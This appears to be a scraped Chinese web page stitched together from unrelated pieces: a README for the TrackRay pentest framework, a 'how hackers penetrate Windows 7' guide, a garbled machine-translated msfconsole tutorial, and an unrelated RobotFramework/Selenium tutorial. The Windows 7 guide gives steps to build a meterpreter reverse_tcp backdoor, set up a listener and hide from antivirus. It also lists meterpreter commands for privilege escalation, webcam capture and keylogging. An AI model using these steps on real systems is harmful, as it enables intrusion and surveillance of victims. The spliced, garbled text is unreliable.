- 1、打造自己的滲透測試框架—溯光
- 2、python 怎麼調用metasploit
- 3、如何利用metasploit進行漏洞掃描和攻擊
- 4、為什麼我啟動了msfconsole沒有msf終端
- 5、Kali工具中的 msf 為什麼不能自動化攻擊
TrackRay簡介
溯光,英文名“TrackRay”,意為逆光而行,追溯光源。同時致敬安全圈前輩開發的“溯雪”,“流光”。
溯光是一個開源的插件化滲透測試框架,框架自身實現了漏洞掃描功能,集成了知名安全工具:Metasploit、Nmap、Sqlmap、AWVS等。
溯光使用 Java 編寫,SpringBoot 作為基礎框架,JPA + HSQLDB嵌入式數據庫做持久化,Maven 管理依賴,Jython 實現 Python 插件調用,quartz 做任務調度,freemarker + thymeleaf 做視圖層,Websocket 實現命令行式插件交互。
框架可擴展性高,支持 Java、Python、JSON 等方式編寫插件,有“漏洞掃描插件”、“爬蟲插件”、“MVC插件”、“內部插件”、“無交互插件”和“可交互插件” 等插件類型。
功能展示
主頁
登錄
任務創建
任務列表
任務詳情
無交互接口插件調用
MVC插件示例
交互式插件控制台
MSF 控制台
依賴環境
JDK 1.8
Python 2.7
Maven
Git
Metasploit
Nmap(建議安裝)
SQLMAP(建議安裝)
AWVS
**加粗為必須環境,沒有安裝程序則無法正常編譯運行
不論是 Windows 還是 linux 一定需要先安裝 JDK1.8 和 Maven。安裝過程這裡不做演示。保證 JDK 和 Maven 都在系統環境變量,能執行java -version 和 mvn –version即可。
安裝過程
第一步
手動啟動 AWVS 服務
登錄後台,生成一個API密匙。
複製密匙和 AWVS 的地址。
找到web/src/main/resources/application.properties配置文件。
修改如下部分
第二步
找到你 python 的第三方庫目錄。
Windows 的一般在 python 安裝目錄下的/Lib/site-packages
Linux 下可以通過輸出 sys.path 來找第三方包路徑
我的是 D:/Python2/Lib/site-packages
同樣找到web/src/main/resources/application.properties配置文件。
修改python.package.path參數
第三步
安裝 Maven 後找到倉庫位置。
如果沒有在 settings.xml 里配置指定倉庫目錄,默認會在當前用戶目錄中生成一個 .m2的目錄
找到倉庫目錄後修改 application.properties 的 maven.repository.path參數
第四步
這個是 DNSLOG 回顯檢測漏洞時需要的。
去 ceye.io 註冊一個賬號,拿到給你分配的域名和 TOKEN。
修改配置文件
第五步
啟動 msf 和 sqlmapapi。
如果你是 kali 操作系統,可以直接運行startdep.sh。
如果是其他系統,則要找到 metasploit 和 sqlmap 的目錄分別執行
啟動成功後修改配置文件
第六步
編譯打包程序
等待依賴下載完成和編譯完成,如果以上操作都沒有出現問題則會提示 BUILD SUCCESS
編譯成功後會在當前目錄打包一個trackray.jar就是溯光的主程序。
然後直接執行startup.bat或startup.sh溯光就會啟動服務。
沒有拋出異常或ERROR日誌,訪問 8080 端口正常。
服務啟動正常後,登錄 iZone 社區賬號。
**開發插件建議使用 Intellij IDEA IDE,需要安裝 lombok 插件。
目錄結構
插件
AbstractPlugin
這是交互式插件和非交互式插件的父類。
BASE常量
其中的靜態常量 BASE 是 /resources/include/ 的所在目錄。
如果你的插件需要額外的靜態資源,那麼你可以在 /resources/include 目錄里創建一個和插件 KEY 相同的文件夾,便於識別,如果沒有在 @Plugin 註解中設置 value 則默認的插件 KEY 就是當前類名首字母小寫。
如 Typecho001 = typecho001
check(Map param)
這是用於檢驗是否合規的方法,需要被強制重寫,當返回 true 時才會調用 start() 方法
param 參數是從前台傳過來的參數鍵值對。
常被用於檢驗參數格式是否正確或漏洞是否存在。
after()
在 start() 方法之前調用
before()
在 start() 方法之後調用
start()
這是一個抽象方法,所有繼承了該類的子類都需要重寫這個方法。
在 check 方法 通過後會調用 start() 方法
start() 方法返回值最終會會當做插件結果,響應給前台。
shell()
調用當前系統 shell 來輔助完成插件功能。
executor()
插件執行的主方法
crawlerPage
http請求對象(不推薦使用)
fetcher
執行 http 請求對象(不推薦使用)
errorMsg
當校驗不通過時,返回給前台的信息。
param
前台傳過來的參數鍵值對
requests
HTTP 發包工具(推薦使用)
hackKit
hack 常用工具包
無交互插件
無交互插件需要你填寫好所有要填寫的參數,直接請求接口來執行插件。
默認需要去繼承 CommonPlugin類。
這是一個抽象類,繼承了 AbstractPlugin
主要多出來兩個屬性:request 和 response。
繼承了 CommonPlugin 的類可以通過調用這兩個屬性來控制請求和響應內容。
無交互插件同時也需要使用 @Rule 和 @Plugin 插件,這兩個註解後面會講到。
在 ,找到相應的插件填寫好參數提交即可完成調用。
或直接調用接口。
交互式插件
交互式插件一般在命令行控制台中調用,可以允許你通過命令行交互來完成插件的調用。
交互式插件由 Websocket 實現,想要寫一個交互式插件,首先要繼承 WebSocketPlugin 類。
同時設置 @Rule 註解的 websocket 參數為 true ,如果需要異步交互需要將 sync 也設置為 true。
內部插件
內部插件是不可以通過外部去調用的,需要繼承 InnerPlugin 並使用 @Plugin 註解,通常在漏洞掃描時時會調用。
例如 “網頁爬蟲”,“指紋識別”,“端口掃描” 等,都是通過調用內部插件實現的。
還有用於檢測 SSRF 等漏洞用的 FuckCeye 插件也屬於內部插件。
通過 spring 的自動注入,來注入內部插件到當前對象。
例子可參考 WebLogicWLSRCE.java
爬蟲插件
爬蟲插件會在掃描任務被勾選“網頁爬蟲”時調用,每爬取一條請求就會調用一次爬蟲插件。
爬蟲插件需要繼承 CrawlerPlugin,繼承該類必須重寫 check 和 process 方法。
check 方法用於檢驗請求是否符合插件規則,以免產生多餘請求。
當 check 方法 返回為 true 時會調用 process 方法。
process 方法里寫插件主要檢測代碼。
addVulnerable()
當插件檢測出漏洞時,可以通過調用 addVulnerable() 方法來向數據庫插入一條漏洞。
requests
requests 屬性為請求工具包,處理 https 和 http 都很方便。
response
response 屬性為當前爬蟲得到的 HTTP 響應。
task
task 屬性為當前任務對象,如果你的爬蟲插件不是檢測漏洞而希望是檢測一些敏感信息的話可以修改 task.getResult() 里的屬性。
參考 FingerProbe.java 或 InfoProbe.java。
target
爬蟲爬取到的 URL 對象。
fetcher crawlerPage
http 請求對象(不建議使用)。
漏洞掃描插件
漏洞掃描插件會在,掃描任務中勾選“漏洞攻擊模塊”時調用。
漏洞掃描插件分為三種
1.獨立插件
獨立的漏洞掃描插件需要繼承 AbstractExploit 並使用 @Plugin 或 @Exploit
AbstractExploit 中有以下需要了解的方法和屬性。
requests
http / https 發包工具
target 當前掃描任務的地址。
task
當前掃描任務對象。
check()
check 是一個抽象方法,需要被子類強制重寫。
該方法一般用於檢驗是否符合當前漏洞掃描插件的規則,以免產生多與請求。
attack()
attack 也是一個抽象方法,需要被子類強制重寫。
該方法是檢測漏洞的主方法。
before()
在 attack 方法前執行
after()
在 attack 方法後執行
addVulnerable()
當插件檢測出漏洞時,可以通過調用 addVulnerable() 方法來向數據庫插入一條漏洞。
fetcher crawlerPage
http 請求對象(不建議使用)。
2.漏洞規則
位於
實際上這是一個“內部插件”,會在勾選漏洞模塊攻擊時調用。
有一些漏洞檢測方法很簡單,只通過簡單的判斷響應體就能識別出來,也就沒有必要再去寫一個獨立的插件而佔用空間了。
在 doSwitch() 方法中會先去根據當前任務的指紋識別結果走一遍 switch 流程。
swtich 的每一個 case 都是 WEB 指紋的枚舉對象。
當 switch 找到當前任務 WEB 指紋對應的 case 後,case 內的代碼會通過構建一個漏洞規則添加到 loaders 集合里。
如果規則是通用的,可以寫在 switch 的外面。
3.kunpeng JSON插件
kunpeng 是一個 go 語言編寫的 poc 測試框架,這裡我對 kunpeng 的 JSON 插件做了一個支持。
只需要按照 kunpeng json 插件的格式規範創建一個 json 文件到 /resources/json 目錄。
在掃描任務勾選“漏洞攻擊模塊”時會被調用,或通過 MVC 插件調用 。
MVC 插件
位於
MVC 插件的特點在於,他可以像是在寫一個功能一樣,而非簡單的接口式調用。
MVC 插件需要繼承 MVCPlugin 類,並使用 @Rule,@Plugin 註解。
MVCPlugin 內置了一個 ModelAndView 對象, 是 SpringMVC 提供的。
可以通過 setViewName() 來指定視圖層的網頁模板。
通過 addObject(key,value) 向視圖層網頁模板注入參數。
這裡的視圖層是使用 thymeleaf 實現的,需要懂 thymeleaf 的語法。
例子可以參考:com.trackray.module.inner.JSONPlugin
繼承 MVCPlugin 必須要重寫一個 index 方法,這是插件的入口。
如果需要寫其他的功能,就得再創建一個 public 返回值為 void 的無參方法。
並且要在該方法上使用 @Function 註解,該註解的 value 參數如果不填寫的話則默認的 requestMapping 地址為方法名。
例如
最後還需要在 /module/src/main/resources/templates 創建一個目錄名為插件 KEY 的目錄。
裡面存放擴展名為 .html 的模板文件。
Python 插件
python 插件有兩種實現方式。
1.通過命令行實現
這種方式最為簡單,通過在 include 里寫一個 python 腳本。
然後在插件里調用 shell() 方法來執行系統命令。
案例可參考 com.trackray.module.plugin.windows.smb.MS17010
但這樣還需要再寫 java 的代碼,對於沒有學過 java 的人來說很不友好。
2.通過jython實現
jython 是一個 Python 語言在 Java 中的完全實現。
我將它的調用過程寫成了一個交互式插件。
你可以通過在 /resources/python/ 目錄下安裝如下規範去創建一個 python 文件。
在這個 python 文件中需要寫兩個方法。
關於註解
@Rule
一般用在“可交互插件”和“無交互插件”類上。
@Plugin
WEB指紋
這裡順便再說一下如何添加指紋庫。
指紋庫位於 base 模塊,是一個枚舉類。
可以在首部或尾部添加一條新的枚舉,盡量使用 $ 開頭。
第一個參數是 指紋的名稱,如果第二個參數是 String 類型則是該指紋的說明。
FingerBean 類是指紋匹配對象。
與msgrpc進行通信其實就是與msfconsole進行通信,首先你需要創建一個msfrpc的類,登錄到msgrpc服務器並且創建一個虛擬的終端,然後你就可以在你創建的虛擬終端上面執行多個命令的字符串.你可以調用模塊的方法與console.write執行命令,並且通過”console.read”從虛擬終端上面讀取輸入的值.
很多朋友對使用Metasploit利用後門程序進行滲透windows7都比較感興趣,針對這些以下業內相關專家就給大家介紹下,當下黑客怎麼利用Metasploit進行滲透windows7的。設定目標主機為:cn_win7_x86_7601虛擬機,地址為:192.168.0.116;而本地主機就為:192.168.0.149。方法步驟一:黑客用Msfpayload直接生成相關的後門程序,如下圖。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149xsteup.exe方法步驟二:黑客直接就能進入所在的目錄並將屬性進行修改,換為允許以程序執行文件,詳細如下圖。進入所在目錄,修改屬性:選擇“允許以程序執行文件”,這時候也可以做一些免殺方法步驟三:接着黑客就打開msfconsole並加載exploit/multi/handler模塊並進行設置本地主機,最後就能開始進行監聽了,詳細情況如下圖。打開msfconsole,加載exploit/multi/handler模塊,設置本地主機;然後開始監聽:exploit-z-j:方法步驟四:黑客需要能將程序直接拷貝都目標主機中並進行執行。方法步驟五:以上步驟全部完成後黑客就能通過後門程序反向連接到msf,用msf就能發起第2次的攻擊然後使用客戶端也就是後門程序就能連接都服務端msf,詳細的如下圖。Meterpreter就是metasploit框架中的一個擴展模塊,因此的話溢出成功後黑客就能攻擊載荷進行使用,一旦攻擊載荷在溢出攻擊成功後就能再返回一個控制通道,這樣就能將它作為攻擊載荷成功獲得目標系統的一個meterpretershell的鏈接。另外,附meterpreter常用命令:getsystem#會自動利用各種各樣的系統漏洞來進行權限提升migrate#進程id進程遷移background#把當前的會話設置為背景,需要的時候在啟用getuid#查看對方正在運行的用戶ps#列出所有的進程getpid#返回運行meterpreter的id號sysinfo#產看系統信息和體系結構shell#切換到cmd的系統權限方式exit#退出shell會話返回meterpreter或終止meterpretergetdesktop截取目標主機當前桌面會話窗口runwebcam-p/var/www#在/var/www目錄監控目標主機的攝像頭keylog_recorder#使用migrate將會話遷移至explorer.exe的進程空間後記錄鍵盤
這可能是最流行的msfconsole界面MSF。它提供了一個“一體化”集中控制台,允許你有效地訪問到幾乎所有的選項可在Metasploit框架。Msfconsole起初看似嚇人的,但一旦你學習語法的命令,你將學會欣賞利用該接口的力量。msfconsole界面的窗戶都可以在3.3版本發布,但3.2版本的用戶將需要手動安裝Cygwin框架下,隨着紅寶石安裝補丁,或接觸控制台模擬器通過包括網站或GUI部件。
msfconsole的好處:
1.這是唯一辦法訪問大多數支持在Metasploit特點。
2.console-based界面提供了一個框架
3.含有最特點和是最穩定的無國界醫生的界面
4.充分readline支持,tabbing以及命令完成
5.在msfconsole外部命令的執行是可能的
msf ping -c 1 192.168.1.2[*] exec: ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms — 192.168.1.2 ping statistics — 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms msf
通過簡單的展開msfconsole運行。“從/ msfconsole命令行。你可以 msfconsole -h”,去看看別的用途。
輸入help或者?,顯示在msfconsole中的可用命令
標籤完成
這是msfconsole設計快速使用和特點之一,有助於這一目標是標籤完成。與各種各樣的模組可供選擇,就很難記得確切的名字和路徑的特殊模數你希望利用。同大多數的其他類型的貝殼,進入你所知道的和緊迫的標籤的會贈送一個列表選擇或自動完成你的字符串,如果只有一個選擇。標籤完成readline取決於延伸和幾乎每個指揮控制台支持標籤完成。
use exploit/windows/dce
use .*netapi.*
set LHOST
show
set TARGET
set PAYLOAD windows/shell/
exp
back
命令
msf auxiliary(ms09_001_write) back msf
check命令
沒有很多的利用,支持它,但也存在着一個“檢查’選項,看看一個目標是脆弱的,而不是一個特定的開發利用它實際上。
msf exploit(ms04_045_wins) show options Module options: Name Current Setting Required Description —- ————— ——– ———– RHOST 192.168.1.114 yes The target address RPORT 42 yes The target port Exploit target: Id Name — —- 0 Windows 2000 English msf exploit(ms04_045_wins) check[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)
connect命令 連接
有一個微型netcat克隆建成的msfconsole支持SSL,代理,旋轉、文件發送。發出“連接”命令一個ip地址和端口的號碼,你可以連接到一個遠程主機在msfconsole一樣的你會與netcat或遠程登錄。
msf connect 192.168.1.1 23[*] Connected to 192.168.1.1:23 ??????!???? DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ? DD-WRT login:
通過“-”的連接,它將通過SSL連接:
msf connect -s 443[*] Connected to GET / HTTP/1.0 HTTP/1.1 302 Found Date: Sat, 25 Jul 2009 05:03:42 GMT Server: Apache/2.2.11 Location:
run命令
msf auxiliary(ms09_001_write) run Attempting to crash the remote host… datalenlow=65535 dataoffset=65535 fillersize=72 rescue datalenlow=55535 dataoffset=65535 fillersize=72 rescue datalenlow=45535 dataoffset=65535 fillersize=72 rescue datalenlow=35535 dataoffset=65535 fillersize=72 rescue datalenlow=25535 dataoffset=65535 fillersize=72 rescue …snip…
irb命令
msf irb[*] Starting IRB shell… puts “Hello, metasploit!” Hello, metasploit! = nil Framework::Version = “3.8.0-dev” framework.modules.keys.length =1336
msfconsole
Retrieved from “”
jobs命令
msf exploit(ms08_067_netapi) jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -i Lists detailed information about a running job. -k Terminate the specified job name. -l List all running jobs. -v Print more detailed info. Use with -i and -l
load命令
load指揮從Metasploit載入一個插件的插件的目錄。通過參數的 ‘key=val’ 的shell上。
msf load Usage: load [var=val var=val …] Load a plugin from the supplied path. The optional var=val options are custom parameters that can be passed to plugins. msf load pcap_log[*] Successfully loaded plugin: pcap_logunload命令 卸掉
msf load pcap_log [*] Successfully loaded plugin: pcap_log msf unload pcap_log Unloading plugin pcap_log…unloaded.
loadpath命令
“loadpath”命令將載入一個third-part模塊樹為道路,這樣你就可以在你的0-day點Metasploit戰功,編碼器,有效載荷,等。
msf loadpath /home/secret/modules Loaded 0 modules.
resource命令
一些攻擊(如Karmetasploit使用資源(批)文件,您可以通過msfconsole負載使用“資源”命令。這些文件是一個基本的腳本為msfconsole。它運行的命令在檔案按順序排列。稍後我們將探討,外面的Karmetasploit,可以是非常有用的。
msf resource karma.rc resource load db_sqlite3 [-][-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new ‘db_driver’ [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-][-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource use auxiliary/server/browser_autopwn resource setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST = 10.0.0.1 …snip…
批處理文件可以大大加快測試和開發時間以及允許用戶自動化許多任務。除了載入一個批處理文件msfconsole從內部,但是它們還是可以通過使用“r”啟動國旗。簡單的範例創造一個批處理文件顯示Metasploit版本號在啟動。
root@bt:~# echo version version.rc root@bt:~# ./msfconsole -r version.rc888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 “888 “88bd8P Y8b888 “88b88K 888 “88b888d88″”88b888888 888 888 88888888888888 .d888888″Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 “Y8888 “Y888″Y888888 88888P’88888P” 888 “Y88P” 888 “Y888 888 888 888 =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + — –=[ 688 exploits – 357 auxiliary – 39 post + — –=[ 217 payloads – 27 encoders – 8 nops =[ svn r12668 updated today (2011.05.19) resource version Framework: 3.8.0-dev.12644 Console : 3.8.0-dev.12651 msf
route命令
“route”命令在Metasploit允許你通過路由卯會話或’comm’,提供基本的旋轉能力。添加一個路線,你通過目標的子網和網絡掩碼,緊隨其後的是會議(傳媒類)號碼。
msf exploit(ms08_067_netapi) route Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local. msf exploit(ms08_067_netapi) route add 192.168.1.0 255.255.255.0 2 msf exploit(ms08_067_netapi) route print Active Routing Table ==================== Subnet Netmask Gateway —— ——- ——- 192.168.1.0 255.255.255.0 Session 2
info命令
“info”命令將提供詳細的信息關於某個模塊包括所有的選擇,目標,和其他信息。一定要認真閱讀模塊描述使用它作為前可能有些un-desired效果。
信息的命令也提供以下信息:
1.作者和許可的信息
2.漏洞參考資料
3.任何有效載荷限制模塊
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
set 命令
‘set’指令讓你配置框架選項和參數對當前模塊你處理。
msf auxiliary(ms09_001_write) set RHOST 192.168.1.1 RHOST = 192.168.1.1 msf auxiliary(ms09_001_write) show options Module options: Name Current Setting Required Description —- ————— ——– ———– RHOST 192.168.1.1 yes The target address RPORT 445 yes Set the SMB service port
最近的一份附加的性能在Metasploit是能力設定一個編碼器使用運行時間。這是特別有用的發展在利用你還不太確定的編碼方法,將工作載荷與開發。
msf exploit(ms08_067_netapi) show encoders Compatible encoders =================== Name Description —- ———– cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The “none” Encoder mipsbe/longxor XOR Encoder mipsle/longxor XOR Encoder php/base64 PHP Base64 encoder ppc/longxor PPC LongXOR Encoder ppc/longxor_tag PPC LongXOR Encoder sparc/longxor_tag SPARC DWORD XOR Encoder x64/xor XOR Encoder x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower Avoid UTF8/tolower x86/call4_dword_xor Call+4 Dword XOR Encoder x86/countdown Single-byte XOR Countdown Encoder x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha Non-Alpha Encoder x86/nonupper Non-Upper Encoder x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder msf exploit(ms08_067_netapi) set encoder x86/shikata_ga_nai encoder = x86/shikata_ga_nai
unset命令
相反的“set’命令,當然,是“unset”。“unset”去掉一個參數配置與“set’之前。你可以移除所有的變量與’unset all’。
msf set RHOSTS 192.168.1.0/24 RHOSTS = 192.168.1.0/24 msf set THREADS 50 THREADS = 50 msf set Global ====== Name Value —- —– RHOSTS 192.168.1.0/24 THREADS 50 msf unset THREADS Unsetting THREADS… msf unset all Flushing datastore… msf set Global ====== No entries in data store.
最近剛剛接觸到RobotFramework,發現這個工具倒是可以滿足我的要求,而且可以結合seleniumLibrary,用來做web的自動化測試相當不錯。之前我也接觸過selenium,不過感覺那個工具更貼近開發人員使用,有了robotFramework之後,感覺這個工具相當強大,而且是貼近測試人員的。之所以說強大,主要是這些測試腳本都可以用文本格式保存(如txt/html等)==安裝篇==如果有想學的朋友可以自己下載以下文件安裝(Google-code里可以找到大部分的安裝文件):這篇文章的內容比較舊了,最新的安裝指南請查看 更新篇python-2.7.1.msi(首先要有python,請選擇將Python加入Path)wxPython2.8-win32-unicode-2.8.11.0-py27.exe(wxPython,必須要的)robotframework-2.6.0.win32.exe(然後裝robot的Framework)robotframework-ride-0.38.1.win32.exe(robotFramework的IDE,很不錯)robotframework-seleniumlibrary-2.8.win32.exe(seleniumLibrary)安裝成功後執行[PythonDir]\Scripts\ride.py看到界面就是安裝成功了。如果需要AutoIt支持就下載下面2個東東。AutoItLibrary-1.1pywin32-216.win32-py2.7.exe==入門篇==安裝完成了,這個框架可以說是基於keyword的操作,按F5可以看到所有加載的keyword。首先新增一個project然後新增suite然後新增test case,接着在suite層級add library,把selenium library加進來,添加後按F5檢驗是否添加成功,如圖OK,繼續在suite的setting里設置suite啟動和結束的keyword,即Start Selenium Server和Stop Selenium Server,他會在運行時幫助我們自動啟動seleniumserver。接下來在test case里添加一個步驟,open browser(一般用selenium做web測試都要用這個方法來打開瀏覽器),添加後關鍵字變成藍色表示找到關鍵字了,否則可能是拼寫錯誤或者沒有加載相應的library。紅色表示有一個必選參數要給定輸入值,具體參數可以看F5里的keyword說明。輸入參數,第二個參數默認是firefox,不過我沒裝,就用ie吧。以上只是一個簡單的例子,沒有詳細說明每個步驟的操作,只是初步介紹。後續再詳細介紹
原創文章,作者:M8W3D,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/126530.html